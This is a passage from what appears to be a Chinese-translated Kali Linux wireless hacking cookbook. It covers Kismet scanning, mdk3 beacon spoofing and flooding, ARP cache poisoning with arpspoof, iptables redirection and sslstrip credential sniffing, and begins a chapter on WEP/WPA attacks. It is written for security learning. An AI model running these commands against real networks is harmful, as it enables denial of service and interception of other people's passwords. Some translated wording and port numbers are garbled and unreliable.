实际上,信标帧确实会增加无线网络上生成的流量。但是通常很少,重要的是要发送这个信标以使网络正常运行。当无线客户端在支持的频道上扫描和寻找无线网络时,它正在寻找信标帧,告诉它有一个接入点区域以及有关该接入点的一些详细信息。这些信息还允许客户端不仅确定区域内的无线网络和功能,还允许它们根据提供的功能和服务对它们进行优先排序,并因此允许用户或客户端本身确定哪个是要连接的最佳网络。以下屏幕截图显示了在 Wireshark 中捕获的信标帧:

在 Wireshark 中显示信标帧

请记住,即使客户端已经与无线网络关联,扫描过程仍在继续,客户端仍在寻找跨其他频道识别其他无线网络的信标。这样做的想法是通过不断扫描和寻找其他无线网络,使用户能够在当前网络不足或不可用时切换到另一个网络。信标帧还有利于同步时钟,这不仅会发生一次,而且会定期发生,以确保时钟始终保持与彼此接近的同步,并且它们不会慢慢地脱离同步,因此它具有重要作用。信标帧还作为一个方便的机制,通知连接到网络的客户端网络中的变化,例如速度或频道,将会发生,并且他们需要为此做好准备并预期这种变化。

话虽如此,让我们继续捕获和分析信标帧,以便我们连接以直接了解其中包含的内容以及对我们的意义。这些信息本身并不是一种攻击,但它可以作为我们将在本章中看到的攻击的前兆,因此,我们将使用这个配方来使您熟悉这一点。

准备工作

要开始,您需要准备以下项目:

  • 能够进入监视模式的无线网卡

  • 安装了 Wireshark 的 Kali Linux

如何做...

Kismet 是一个有效的工具,用于定位和提取无线接入点和设备中的有用信息,在这种情况下,它将被用于检测传输的信标帧。

在这个配方中,我们将从命令提示符开始 Kismet。但是它也可以从应用程序菜单的无线攻击部分启动。在任何一种情况下,启动 Kismet 都将导致这里记录的步骤:

  1. 打开一个终端窗口。

  2. 在命令提示符下,输入kismet命令。

  3. 现在,您将从半图形环境中配置 Kismet。您将使用TabEnter键进行导航。

  4. 如果看不到灰色字母行,请使用Tab键突出显示No。否则,保持Yes突出显示。

  5. 按一次Enter键。

  6. 按一次Enter键以确认 Kismet 正在以 root 身份运行。

  7. 按一次Enter键自动启动 Kismet 服务器。

  8. 按一次Enter键以确认您要启动 Kismet 服务器。

  9. 按一次Enter键以验证您可以添加捕获源。

  10. 使用ifconfig输入您的无线接口的名称。如果您不记得,可以打开另一个控制台窗口,并再次运行ifconfig命令以确定正确的接口(通常会以wlan开头命名)。以下屏幕截图显示了接口输入屏幕:

Kismet 界面配置

  1. 按一次Tab键。

  2. 在“名称”字段中键入无线接口的名称。

  3. 再次按下Tab键。

  4. 再次按下Tab键。

  5. 按下Enter键一次。

  6. 如果您输入了正确的名称,Kismet 应该能够识别命名的无线接口。它还会生成不需要的虚拟接口的名称,如wlan0monwlan0monmonwmaster0

  7. 当在 shell(Kismet 窗口)的右下角显示“关闭控制台窗口”时,按一次Tab键以突出显示“关闭控制台窗口”。

  8. 按下Enter键一次。

  9. 无线接入点列表将显示在 Shell(Kismet 窗口)的左上象限。

  10. 点击下拉菜单上的“查看”。

  11. 点击“监视活动”。

一旦到达这一点,您将看到接入点名称(以及客户端)开始快速填充界面。与此工具之前看到的一样,与列表上出现的每个网络名称或 SSID 相关的详细信息和信息。这些条目是从开始填充窗口的信标帧中提取的信息填充的。您将看到每个设备的名称、信道、无线标准和其他相关信息。如果等待足够长的时间,您会注意到其他设备会出现,列表中的其他项目可能会有更多的信息填充,这些信息以前可能不存在。

在查看 Kismet 窗口中显示的网络列表时,可能会看到一些看起来有些不同的条目。例如,看一下以下的屏幕截图:

显示主 Kismet 窗口显示检测到的无线客户端。

如果您查看窗口中的项目,您会注意到列表中有一个“探测网络”的条目,如果您移动到列表中的这个项目并使用+或*- *键来打开或关闭选择。展开项目后,将显示一个项目列表。这个列表记录了来自附近系统的探测请求。这些问题是由一个无线启用的系统发送的,它试图连接到它过去连接过的网络。仔细分析出现在探测请求下的网络名称可以揭示系统连接到不同接入点的名称,并让您了解系统可能是如何或在哪里使用的。请记住,只要设备未与无线网络关联,许多操作系统就会发送这些探测请求。

还有其他软件包可以用来做 Kismet 正在做的同样的事情,但是 Kismet 具有高度可定制和被动的优势。被动意味着软件不会发送任何东西来引发附近无线接入点的响应。相反,软件监听与接入点相关的连接和流量,以揭示其存在并确定其名称。此外,该软件包还具有检测隐藏接入点的能力,而其他类似的软件包可能无法做到这一点。

伪造信标帧

在这个教程中,我们将看一下伪造信标帧。现在我们已经看到了信标帧的实际样子,以及一些信标帧的属性,我们可以理解伪造信标帧的价值以及如何利用它来影响无线网络或特定接入点的可用性。

在检查信标帧的内容之后,我们可以看到重要的信息,如时间的下沉、网络的识别以及其他属性都包含在这个重要的帧中。如果攻击者想要干扰无线网络的运行,比如减慢网络速度或使网络不可用,信标帧是一个理想的地方来采取这个行动。

重要的是要事先知道欺骗信标帧攻击的可能性。破坏无线网络的一种可接受形式是缺乏对伪造帧的验证或验证。虽然在过去几年中市场上出现了旨在帮助检测伪造到无线网络的帧的产品和技术,但这远非是一种可以用来保护无线网络的常见情况。对于那些确实对伪造帧进行了某种检测的无线网络,存在另一个问题,由于无线网络的不稳定性和不同供应商提供的多种通信形式,要检测伪造帧变得更加棘手。此外,系统和网络管理员有一些技术可以结合使用,以覆盖整个频谱,并允许检测伪造帧,从而防止这类攻击。

在审查可以用于针对目标网络的信标帧时,有一件非常重要的事情需要考虑,那就是这不是一种容易执行的攻击。虽然我们让它听起来很容易,但在实践中,需要一些耐心和努力才能使其正确运行。虽然恶意方可能会在网上寻找有关如何执行这种攻击的具体信息,甚至阅读这里的步骤,但这仍然需要一些试验、错误和耐心。

需要记住的另一件事是,这种类型的攻击肯定可以被检测到,因为技术和技巧已经发展到足够先进的程度,可以有效地检测伪造的信标帧。网络所有者面临的挑战是要理解这是一种潜在的攻击。他们需要明白这是他们应该部署或采用保护措施,以降低这种类型攻击发生的风险。

在我们逐步介绍如何成功执行这种攻击之前,让我们简要地看一下欺骗信标帧的过程。我将描述各个组成部分,并给出这种类型攻击的解剖,然后我们将继续并在真实环境中实施这种攻击。

在最基本的层面上,实际上执行欺骗信标帧攻击有两个阶段,其中一个阶段依赖于我们已经知道的工具,即airmon-ng。这个工具用于将无线适配器置于监视模式,以便能够观察区域内所有无线网络的流量,即使它没有与任何网络关联。使用这个工具来欺骗信标帧与以往使用它的方式并无不同。我们只需告诉工具在特定接口上进入监视模式,然后这个阶段就完成了。

欺骗信标帧的第二阶段是魔术发生的地方,使整个过程成为现实。为了执行第二阶段,我们将使用一个名为mdk3的工具,这是本诊所发行版中包含的另一个命令行实用程序。这个工具将允许我们生成具有我们选择的任何名称和属性的信标帧,并在开放环境中进行传输。最终结果是,这个工具可以发送大量的信标帧,可以从文本文件中读取,您可以预先填充自己的名称。这将在区域内生成大量虚假接入点,会使客户端变慢和困惑,并且在某些情况下,甚至会中断它们与当前网络的关联,如果名称恰好相同的话。我们在这里所做的是通过使用这个单一工具创建一种拒绝服务。

准备工作

要开始进行操作,您需要准备以下物品:

  • 能够进入监视模式的无线网卡

  • Kali Linux

这里列出的项目是基本要求,如果你愿意,你可以轻松地使用更多(或不同的)组件。例如,如果你想要增强范围,你可以使用一个带有外部天线连接的基于 USB 的无线网卡,这样可以获得更好的接收效果。

在这个练习中,需要记住的一点是,我们将使用一系列工具,这些工具都来自一个套件,旨在破解和分析无线网络的流量。虽然套件中可能包含了大约十几个工具,但在本章中我们只使用了三到四个。然而,在后续章节中,我们将重新访问套件中的不同工具,并在途中使用它们。这将是你对 air crack 套件中一些成员的首次探索。

如何做...

第一步是将无线适配器置于监视模式。在这种情况下,我们假设我们的无线适配器使用名称wlan0(就像以前一样),但请仔细检查确保在您的系统上名称相同:

    airmon-ng start wlan0

就像以前一样,airmon-ng实用程序已经将我们的无线网卡切换到监视模式,并应该将其重命名为类似mon0的名称。一旦完成这一步,我们就能够查看所有我们需要的流量:

airmon-ng 将 wlan0 切换到监视模式。

接下来,我们需要使用airodump-ng工具来从监视接口捕获信息,就像这样:

airodump-ng mon0 

此时,攻击者将可以访问有关目标系统范围内的无线接入点的信息(ESSID、信道、BSSID 等)。

一旦我们从列表中选择了一个要欺骗的网络,我们可以继续下一步,即使用一个名为mdk3的工具。mdk3是一个实用程序,用于利用 802.11 标准中存在的漏洞和其他问题,其中之一是伪造信标帧的能力。

要使用mdk3工具,我们可以从列表中选择一个接入点,或者使用我们自己制作的名称。一旦我们有一个想法,我们就可以使用以下语法运行mdk3命令(我们将伪造一个名为impa的网络):

mdk3 mon0 b -n "impa" -b 54 -w a -m -c 11 

b激活信标洪水模式,-n设置名称,-b 54使其为54 MB,-w a仅启用 WPA2/AES,-m使mdk3仅使用有效地址,因此攻击者将很难进行过滤,-c设置正确的信道。

此时,如果你使用另一个无线设备来检查该区域的无线网络,你会看到一个新的网络正在广播,这种情况下被命名为 IMPA。

创建信标洪水

在这个配方中,我们将继续从上一个配方中的思路和探索开始,那里我们伪造了一个信标帧,但我们将通过尝试洪水式地发送信标帧来提高强度。在上一个配方中,我们主要关注如何创建伪造的信标帧。在这里,我们想要做的是连续发送假的接入点,以混淆该区域的客户端,并导致它们出现性能问题。事实上,进行信标洪水的迷人之处在于,在某些条件下,它可以导致扫描仪、软件甚至驱动程序不仅表现不佳,甚至会崩溃或甚至锁定它们所在的系统。你可以想象这是一种拒绝服务,对于那些软件设备的所有者或者出现问题的节点来说,这将是非常令人沮丧的。以下图表显示了信标洪水的概念:

信标洪水的概念

通过信标洪水,我们可以生成大量的虚假接入点,以及改变这些虚假接入点的参数和信道,进一步完善和增强攻击,造成更大的破坏。你会发现这次攻击的初始步骤与上一个攻击的步骤完全相同。变化发生的地方是当我们开始使用mdk实用程序来开始改变那些参数,以达到造成影响的目的。

做好准备

为了开始,你需要准备以下物品:

  • 能够进入监视模式的无线网卡

  • Kali Linux

这里列出的项目是基本要求,如果你愿意,你可以轻松地使用更多(或不同)的组件。例如,如果你想要增强范围,你可以使用一个基于 USB 的无线网卡,它具有外部天线的连接,可以获得更好的接收。

在这个练习中需要记住的一件重要的事情是,我们将使用一系列工具,这些工具都来自一个套件,旨在破解和分析无线网络的流量,可能有大约十几个工具包含在套件中,而我们在这一特定章节中只使用了三到四个。然而,在随后的章节中,我们将实际上重新访问套件中的不同工具,并在途中为不同的目的使用它们。因此,这将是你对 air crack 套件中一些成员的首次探索。

第一步是将无线适配器置于混杂模式或监视模式。这与我们在第四章中所做的没有什么不同,攻击机密。在这种情况下,我们将假设我们的无线适配器使用名称wlan0,但请仔细检查以确保在您的系统上名称相同:

airmon-ng start wlan0 

就像以前一样,airmon-ng实用程序已经将我们的无线网卡切换到监视模式,并且应该已经将其重命名为类似mon0的东西。一旦这样做了,我们就能够查看所有我们需要的流量。以下屏幕截图显示了airmon-ng命令的结果:

airmon-ng 将 wlan0 切换到监视模式。

下一步是再次激活airodump-ng实用程序,以查看附近的无线网络或接入点列表。记住,我们需要有一个目标网络来攻击,否则这将不会产生预期的效果。我们将创建的信标将使用我们提供的给定网络的 SSID 来生成:

airodump-ng mon0 

如果命令执行正确,我们应该看到附近的无线网络列表。在这一点上,你会选择你想要攻击的那个。你特别想要的是你想要攻击的站点的 ESSID 标签的信息;其他任何东西(比如 BSSID)都需要修改命令。

一旦你选择了目标,你需要使用以下命令:

mdk3 mon0 b -t <BSSID target> -c <channel> 

如果你想改变洪水的时间,你可以添加-s命令行,所以:

mdk3 mon0 b -t station/bssid -s 360 

在这种情况下,360是每秒将被传输的数据包数量。

如果你想查看信标的流动,你可以在另一台 Kali 工作站上运行 Kismet,你会看到一大堆信标被接收,代表我们原始攻击系统的努力。

ARP 缓存投毒

在这个配方中,我们不会直接攻击无线网络,而是操纵网络中存在的东西来执行操作,比如嗅探或中间人攻击。我们在这里探讨的技术被称为 ARP 缓存投毒,可以用于使用 TCP/IP 协议的任何网络。

那么 ARP 是什么?嗯 ARP,或地址解析协议,是 TCP/IP 协议的一个组成部分,用于将逻辑地址或 IP 地址链接到物理地址或 MAC 地址。在实践中,以下是 ARP 的工作原理。

让我们想象一种情况,你有两个位于同一子网上的客户端,它们希望彼此发起通信。在这种情况下,IP 地址在正常意义上并不需要,因为没有路由要求。在这种情况下,如果一个客户端希望向另一个客户端发送流量,它将首先检查其 ARP 缓存,看看它是否先前与预期目标进行过通信。如果 ARP 缓存或表中存在 IP 到 MAC 地址映射,则发送站将直接使用该信息将数据发送到接收方。然而,如果 ARP 缓存中没有传输所需的信息,它将在该子网上发送 ARP 广播。当发送方正在寻找的客户端接收到这个广播时,接收方将向发送方发送其 IP 地址和 MAC 地址的组合。在那时,发送方将使用这些信息来正确地寻址和传输数据,从而确保它到达预期的目的地,IP 和 MAC 地址的组合也将保留在本地 ARP 缓存中,以便未来的传输可以更快地进行。以下屏幕截图显示了 ARP 缓存的内容:

在 Linux 中的 ARP 缓存

在进行 ARP 缓存欺骗时要记住的一件事是,你可以主动地对其进行欺骗,并使用我们正在讨论的技术将信息放入目标的缓存中。然而,如果被定位的用户或受害者重新启动系统,那么您放入其缓存中的信息将被清除,您将不得不重新发起欺骗。

让我们剖析一次 ARP 欺骗攻击,以便我们了解我们试图做的是什么,以引起混乱。正如我们发现的那样,ARP 有一种非常特定的工作方式,允许上升方找到其预期接收方的 IP 地址和 MAC 地址组合,该过程在设计上相当简单。在进行缓存欺骗攻击时,我们希望向受害者发送伪造或欺骗的 ARP 回复,目的是让他们缓存我们的回复,然后在以后的操作中使用它们来发送信息。现在,仔细看看我刚才说的我们试图做的事情。我说我们试图发送 ARP 回复,但我从来没有说过要出去引诱那个回复。换句话说,这就好像我走到你面前说再见,然后走开。如果我在现实生活中这样做,你会认为我有点疯狂,因为没有什么可以和我说再见。然而,由于 ARP 的工作方式,这种情况实际上在数字世界中是有效的。

所以这里的问题是,我在尝试用什么回复来毒害你的缓存?嗯,答案很简单:里面有什么?发送 ARP 广播是因为系统在本地子网上有一个客户端的 IP 地址。由于它不需要 IP 地址和本地子网,它想要使用 MAC 地址。因此,通过发送这个请求来说,“我有这个 IP 地址,现在谁拥有这个 IP 地址”,在你的网络卡上有一个 MAC 地址,我会得到一个 IP 和 MAC 的组合。攻击者会修改这个回复,以便在你寻找特定 IP 地址时,转而去寻找另一个 MAC 地址,这恰好是恶意方控制的系统上的网络卡的 MAC 地址。通过主动向受害者发送这个组合,ARP 过程被颠覆,因为传输系统将寻找是否有关于它正在尝试传输数据的站点的信息,因为这些信息将被主动缓存,不会进行广播以找到具有合法 IP 地址和 MAC 地址组合的真正所有者。结果是流量将被定向到与接收者认为正确的客户端不同的地方。

以下图片显示了 ARP 攻击的过程:

ARP 缓存中毒攻击

就 IP 到 MAC 地址解析和组合而言,有两面。ARP 用于将 IP 地址解析为 MAC 地址。然而,还有一个伴随协议称为 RARP(反向地址解析协议),它用于将 MAC 地址解析为 IP 地址。虽然这两个协议存在于彼此的伴侣中,但我们实际上只需要 ARP,而不是反向 ARP。然而,重要的是要知道存在一个伴随协议。

准备工作

要开始操作,您需要准备好以下项目:

  • 能够进入监视器模式的无线网卡

  • Kali Linux

这里列出的项目是基本要求,如果需要,您可以轻松地使用更多(或不同)组件。例如,如果您想要增强范围,可以使用一个带有外部天线连接的基于 USB 的无线网卡,以获得更好的接收效果。

第一步是启用 IP 转发;这样可以使流量通过攻击者的系统进行重定向。要执行此攻击,我们执行以下命令:

#echo "1″ > /proc/sys/net/ipv4/ip_forward 

查看 IP 转发的设置值;这将返回一个值1。如果没有,重复前面的步骤:

#cat /proc/sys/net/ipv4/ip_forward 

输出将是:1

#sysctl -p 

请注意,这里的1表示我们正在启用 IP 转发。如果我们想要关闭此功能,可以使用0来运行相同的命令。

下一步是在流经我们系统时重定向流量,这很容易通过使用iptables命令来实现。

在这个设置中,接收到端口80的流量将被重定向到不同的端口号。在这种情况下,端口80被重定向到端口8080,端口443被重定向到端口8883。有了这组简单的规则,流量将被相应地重定向。

要实施我们的设置,我们只需在命令行中输入以下内容:

#iptables -t nat -A PREROUTING -p tcp -destination-port 80 -j REDIRECT -to-port 8880 
#iptables -t nat -A PREROUTING -p tcp -destination-port 443 -j REDIRECT -to-port 8883 

iptables 是一个命令行实用程序,它在 Linux 中已经存在很长时间,用于配置 Linux 内核中的防火墙设置。该实用程序比这里介绍的要复杂得多,但我们只需要使用基础知识来进行设置。

现在来到重要的部分,即执行实际的 ARP 欺骗。为此,我们将使用arpspoof命令来更改受害系统的缓存以包含不同的值。在这种情况下,我们将把默认网关更改为其他内容。我们可以使用以下命令来实现:

arpspoof -i interface -t target-ip target-gateway-ip 

更具体地说,我们将更改受害机器以包含网关的不同地址:

arpspoof -i eth0 -t 192.168.1.23 192.168.0.253 

我们也可以对网关执行相同的操作,就像这样:

arpspoof -i eth0 -t 192.168.0.253 192.168.1.23 

完成这些步骤后,我们将进入一个阶段,在这个阶段我们可以拦截网络中传输的请求。在 Kali 中,我们在这种情况下有一些信息收集的选择,比如sslstrip/drifnet。让我们简要地看一下如何设置每个选项。

sslstrip是一个嗅探和中间人工具,旨在捕获通过 SSL 协议传输的信息。使用这个命令,诸如用户名、密码、电子邮件账户和数据库用户详细信息等信息都有可能被拦截。

以下命令将允许攻击者嗅探目标 PC 192.168.1.23 的流量,并指定iptable nat规则中定义的端口:

python /usr/share/sslstrip/sslstrip.py -p -s -l 8880 

等一会儿,记录在/usr/share/sslstrip/sslstrip.log中的嗅探数据,或者您可以使用用户定义的文件来转储捕获的数据。

另一个有趣的工具被称为driftnet。Driftnet 是一个基于 GUI 的工具,旨在捕获从浏览器访问的任何内容。这个工具非常简单易用,只需在命令行中使用driftnet命令,结果将随着流量的流动而开始出现。以下是使用该工具获得的输出示例:

driftnet 命令的输出

第六章:身份验证攻击

在本章中,我们将涵盖以下内容:

  • WEP 攻击

  • WPA 攻击和 WPA2 攻击

  • 攻击 WPS

针对身份验证的攻击

在本章中,我们将探讨另一种形式的攻击:针对身份验证机制及其周围系统的组件的攻击。对无线网络上的身份验证机制进行攻击可以使攻击者能够非常轻松地或几乎毫无阻力地访问系统的部分和其中托管的资源。实际上,设置身份验证机制的原因是为了能够验证用户或主机的身份,如果这种验证被颠覆或绕过,那么我们最终会面临各种访问和操作。然而,在进入本章之前,让我们先看看身份验证是什么,它的设计目的是什么,以及它如何以非常抽象的形式工作,然后我们可以利用这些知识更好地理解本章中的攻击。

首先让我们开始谈论当用户尝试登录系统时会发生什么,实际上任何系统都是如此。当用户登录系统时,他们将经历一系列事件。他们首先要做的是提供一个身份,这是关于他们声称自己是谁的陈述。现在,身份本身并不能用来允许访问系统,因为它只是对某人的声明或断言;它并没有任何明确的意义。这意味着我可以声称自己是电影明星、政客,甚至是美国总统,但如果没有提供一些东西来验证身份,那么这只是一个没有任何价值或权重的声明,因此不足以进入后续授予对受信任信息资源访问的步骤。为了做到这一点,我们需要转向身份验证步骤。以下图表显示了身份验证过程:

身份验证过程

当我们说身份验证时,我们正在执行一些行动,证明用户关于自己是谁的声明实际上是有效的。最常见的方法是通过使用密码;我们中的许多人都遇到过这样的情况,我们提供用户名(即我们的身份),然后提供密码,这是只有我们知道的秘密信息,可以用来证明我们是我们所说的那个人,你可以信任我们。因此,可以看到,仅仅以用户名的形式的身份本身是不足以证明任何事情的;它必须经过身份验证,以验证该方可以通过提供只有具有该身份的人才会知道的答案来证明可以信任。他们正在进行身份验证的系统将有某种方式来比较他们提供的答案(或在这种情况下是密码)与他们已经本地存储的东西,以确保提供的答案是正确的。以下屏幕截图是 Windows 登录框的一个示例:

登录框

实际上,有三种公认的身份验证方式,应该被视为对资源进行身份验证的一般类别。为了完善你对这些不同方式的了解,让我们简要地看一下每种方式:

  • 因素 1 身份验证涵盖了任何需要提供信息(如密码、口令或 PIN 码)以验证身份的情况。身份验证的第一个因素的重要细节或要素是,这是你知道并存储在大脑中的东西,并在请求时提供。这是计算机网络和软件以及我们的无线网络中最常用的身份验证形式,正如我们将看到的那样。

  • 双因素认证涵盖了任何需要提供物理物品来验证个人或系统的情况。例如,门的钥匙、ATM 卡或者令牌都可以用来呈现给系统或生成一个特殊代码,用于验证用户的身份,就像之前一样。这种形式的认证有时也被称为你所拥有的东西,就像你拥有汽车门钥匙一样。这种类型的认证在无线网络中并不常见,但也有一些例外情况,比如在需要生成特殊代码登录企业网络或访客网络的情况下。

以下照片显示了双因素认证技术的一个例子:

RSA 实验室的双因素认证令牌

  • 第三因素认证是一种依赖于所谓的生物识别的认证形式。简单来说,生物识别是一种通过测量生物体的特征或特质并将其用作验证身份的方法,就像你在前两个因素中所做的那样。诸如指纹、眼球、手掌纹甚至面部识别等特征都被用来提供这种认证因素。虽然这种认证形式可能非常准确和可靠,但它与其他因素相比有一个缺点,这使得它不太常见,因为在设置这种系统时涉及的费用和复杂性更大。值得注意的是,在无线网络中很少见到这种类型的认证因素。这并不意味着你不能使用这些认证机制来连接无线网络;这只是意味着它们在大多数情况下不用于连接无线网络的认证。这种认证类型只是包含在这里供你参考。这不是我们在本书中要试图颠覆或规避的内容。以下图片显示了第三因素认证技术的一个例子:

第三因素指纹识别器

现在我们已经讨论了认证,接下来要讨论的是系统在验证了你所声称的身份后会发生什么。请记住,认证所做的只是验证你向系统提供的身份不仅仅是一个声明,它实际上是真实和正确的,并且可以被信任为准确。这绝不意味着你已经被授予了对系统的访问权限。可以把它想象成向官员提供驾驶执照或其他一些信息。仅仅因为那些文件核实并且说你是你所声称的人,并不意味着你将被允许,例如,进入受限区域或执行其他一些操作,因为它只是证明你是你所声称的人,仅此而已。要想进入下一步,你必须经历一个称为授权的过程。

那么,什么是授权?授权实际上非常简单。授权将你的验证身份与系统上配置的一组规则进行比较。这些规则用于确定你与系统的具体访问和交互级别,并由系统所有者管理员根据他们的指导和希望制定的标准进行配置和实施。

一旦授权完成,用户将以系统所有者希望他们拥有的任何能力或级别访问系统。因此,他们可以继续进行被授予的任何交互。

在认证中需要记住的一点是,认证并不局限于无线。它在控制对不同应用程序、设备、网络和其他项目的访问中起着作用。没有认证,系统和设备的安全性将会变得更加具有挑战性,因此它必须存在于各种各样的项目中。在本章中,我们讨论了无线设备和技术的认证,但不要忘记,它不仅存在于无线中,还存在于通过无线访问的网络应用程序以及通过传统有线方式访问的应用程序中。

在无线网络中,有许多可以针对认证的攻击,我们只能在这本书中覆盖其中的一部分。但我们将覆盖的这些攻击是一些比较常见的,你可能会遇到的,它们可能会影响无线网络和性能。无线网络上的认证包括多种技术和机制,其中许多我们在之前的章节中已经涵盖了,但为了完整起见,让我们在这里谈谈其中的一些不同项目:

  • 加密:加密的使用在几乎所有可用的认证机制中都是至关重要的,因为它提供了一种方式来确保凭据的机密性以及存储这些凭据的系统的完整性。没有加密,保护凭据在存储和传输时将会非常困难。同样,要确保这些凭据在网络上传输时是准确的,或者它们是否已经被改变,也将会非常困难。可以说,没有密码学,我们现在许多形式的认证将不会存在。

  • 预共享密钥PSK系统:这涉及使用在每台工作站或设备上输入一个共同密钥,以允许其对无线接入点进行认证的系统。这种保护通常以非企业 WEP、WPA 或 WPA2 的形式出现。值得注意的是,预共享密钥系统在家庭和小型企业环境中非常常见,但当你开始将环境扩展到中型、大型和企业规模的环境时,预共享密钥系统往往会被避免,而更倾向于使用企业认证系统。

  • 企业认证:在大型环境中,使用重型认证系统形式的企业认证机制并不罕见。这些机制允许认证的扩展以及认证的集中控制和管理。这意味着这些认证系统不仅可以为在这种情况下认证无线客户端提供强大的认证方式,还可以用于为授权设置统一的规则,甚至可以针对每个站点对这些规则进行微调。

虽然这只是企业认证中的三个部分的列表,但还有许多其他可能被部署的部分。然而,我们将避免深入研究一些更为奇特和复杂的形式,只专注于你在探索中最有可能遇到的基本形式。

攻击类型

针对无线网络上的认证的攻击是多种多样的,每种攻击都有其自身的优势和劣势,使它们在特定情况下有用或无用。

在我们开始探索每一种攻击之前,让我们先列出本章将涵盖的攻击。

  • WEP 攻击

  • WPA 攻击

  • WPA2 攻击

  • WPS 攻击

请记住,这些只是可以用来颠覆无线网络认证的攻击类型中的一部分;它们不应被视为唯一的攻击类型。

WEP 攻击

我们将在本章中重新审视对有线等效隐私(WEP)协议的攻击。在我们阅读本书的过程中,我们已经几次遇到过这个协议,我们将在这里再次对其进行审视,并添加一些之前没有的内容,并努力扩展这次攻击,以讨论这个协议中真正的弱点,使其容易受到攻击。

请记住,WEP 协议是在无线安全被认为是一个问题的时候实施和设计的,但设计无线技术的人并没有真正理解如何正确实施安全,也没有咨询可能帮助他们更好地做到这一点的外部团体。在所有实际意义上,WEP 不应再在任何活跃的网络中使用,因为它对于希望通过窃取您的数据或在传输过程中修改您的网络上的数据来对您造成伤害的人来说,它太容易成为一个机会目标。几年前,对这个协议的成功攻击要比现在更难以成功进行,因为所需的工具需要更高程度的知识和经验才能操作。如今,专门针对这个协议的工具更加精细和易于使用,并且可以被更广泛的受众所接触;他们只需要了解这些工具,并愿意遵循一些烹饪书式的指导来使它们以一种实现成功结果的方式工作。

让我们在 WEP 协议上填补一些更多的背景故事,以充分阐明我们所探讨事物的角度。这个协议早在 1997 年设计,作为最初的无线标准的一部分。它旨在使用一个相当强大的加密协议,称为 RC4,旨在保护流量免受意外泄露,并使用 CRC 32 进行完整性保护。这些保护措施都不是一个坏决定。然而,在 WEP 的设计和实施中却被错误地使用了。

要理解 WEP 的问题之一,我们需要了解在这个协议中如何生成密钥。实际上,标准的 64 位 WEP 协议使用了一个 40 位密钥加上一个 24 位的初始化向量或 IV,它们一起形成了所谓的 RC4 密钥。这个密钥是用来在传输过程中加密和保护流量的。

敏锐的读者很快就会注意到,我们使用 40 位密钥加上 24 位初始化向量是一个问题 - 具体来说,40 位密钥是一个我们需要关注的大问题。在当时决定这个 40 位数字时,技术已经可以很容易地在合理的时间内破解短版本的密钥。如今,破解这种密钥是极其容易的,几乎不需要任何时间。因此,不可避免地会出现一个问题,即为什么这个协议的开发人员决定在大多数情况下更长的加密密钥更强大更好时使用如此短的密钥。最大的原因是,在 WEP 设计时,美国政府对加密技术和任何实施或使用这种加密工具的技术或设备实施了严格的出口管制。正是由于这些限制,密钥大小被限制到了这样的程度。之后,在这些限制解除后,密钥长度增加到了 104 位加上 24 位的初始化向量。还有一些更长的链接可用,但即使使用这个 128 位的密钥大小,该协议仍然存在漏洞,因此不应使用。

在大多数使用 WEP 的接入点中,密钥是以十六进制值输入的,或者被转换为十六进制值,这意味着它使用了包括09AF的值的密钥。使用 WEP 的消费者或系统管理员将直接在接入点上输入他们的密钥,然后在所有希望连接的客户端上输入相同的密钥,一切都会按预期工作。

在 WEP 加密系统中可以利用的一些内容是我们关心的,这些内容是用于识别客户端而不是用户的不同类型的认证。两种认证方法是开放系统认证OSA)和共享密钥认证SKA)。这两种方法都在不同程度上得到了使用,大多数人选择后者而不是前者,尽管前者在一些情况下也有所见。

在 OSA 的情况下,客户端能够连接到无线接入点而无需提供任何凭据或任何标识自己的东西。实际上,任何客户端都能够直接认证到接入点并关联。这实际上意味着,即使系统的名称中有这样的说法,实际上根本没有进行任何认证。然而,客户端随后可以通过拥有 WEP 密钥来加密他们的流量。这意味着必须向客户端提供密钥才能实现这一点。

在我们的第二种认证机制中,即共享密钥,客户端将不得不提供 WEP 密钥来认证网络,以便正确关联和在该网络上进行通信。实际上,这可以分解为一个四步过程,我们应该谈谈以了解我们正在处理的过程以恢复我们的密钥:

  1. 客户端将发送一个请求来认证无线网络,或者特别是一个接入点。

  2. 接入点将对关联请求做出回应,发送一个明文消息或挑战。

  3. 然后,客户端将获取这个明文消息,并使用预先配置的 WEP 密钥对其进行加密,然后将结果传回接入点作为另一个认证请求。

  4. 此时,接入点将获取 WEP 密钥的副本,用它来解密它收到的加密密钥,然后将得到的结果与其原始明文响应进行比较;如果结果匹配,则将进行关联。如果不匹配,则将被拒绝。下图显示了 WEP 过程的过程:

WEP 认证过程

解密过程完成后,WEP 密钥不会被推到后台等待另一个认证的发生;相反,它现在用于加密客户端与网络或接入点上的任何其他点之间传输的流量。

真的很重要的一点是,尽管共享密钥认证更安全是一个明显的观点,因为在允许客户端关联到网络之前进行了认证,但实际上并不是这样。事实上,情况恰恰相反,因为在共享密钥系统中,数据在加密之前进行交换,如果密钥很短,就有可能从认证客户端到网络的序列中提取密钥。

这个协议的构造方式以及提供的密钥链接导致了一些明显的问题,使我们的攻击机会和成功率相当高。您应该研究为什么这是可能的,这样我们就能理解我们使用的攻击为什么如此有效。首先,让我们了解 RC4 是一种对称和流密码,如果在相同的数据传输过程中使用相同的密钥两次,它会迅速失去效力。如果密钥被重复使用,就会打开一个门,允许我们比较流量并寻找可能揭示密钥的模式。设计者决定打败这种情况的方式是使用一个 24 位的初始化向量,当与 40 位密钥结合使用时,旨在防止在相同的传输过程中重复使用密钥。然而,初始化向量的短 24 位长度意味着在足够繁忙的网络上,相同的密钥被重复使用的机会会大大增加。事实上,仅仅举个例子,大约传输 5000 个数据包后,相同密钥被重复使用的机会就会增加到约 50%。因此,可以想象在足够繁忙的网络上,您可以很快地收集到这么多数据包。事实上,我们的攻击依赖于我们能够捕获数千甚至数十万个数据包,并使用它们成功地恢复密钥。

为了让您了解成功并快速破解该协议有多容易,可以考虑一些已有记录的案例。2005 年,有人展示了可以在大约三分钟内从无线网络中恢复使用该协议的 WEP 密钥,甚至在环境允许的情况下可能更短。随后几年出现的攻击进一步缩短了这个时间,有些人甚至声称他们能够使用不到 40,000 个数据包就成功地恢复密钥,每次成功的概率超过 50%。这应该让人明白为什么这不是一个好的协议,仍在使用它的人应该受到鼓励并远离这项技术,以免陷入困境。

准备工作

要开始,您需要准备以下物品:

  • 一个能够进入监视模式的无线网卡

  • Kali Linux

  • 第二个有线或无线适配器连接到互联网

如何操作...

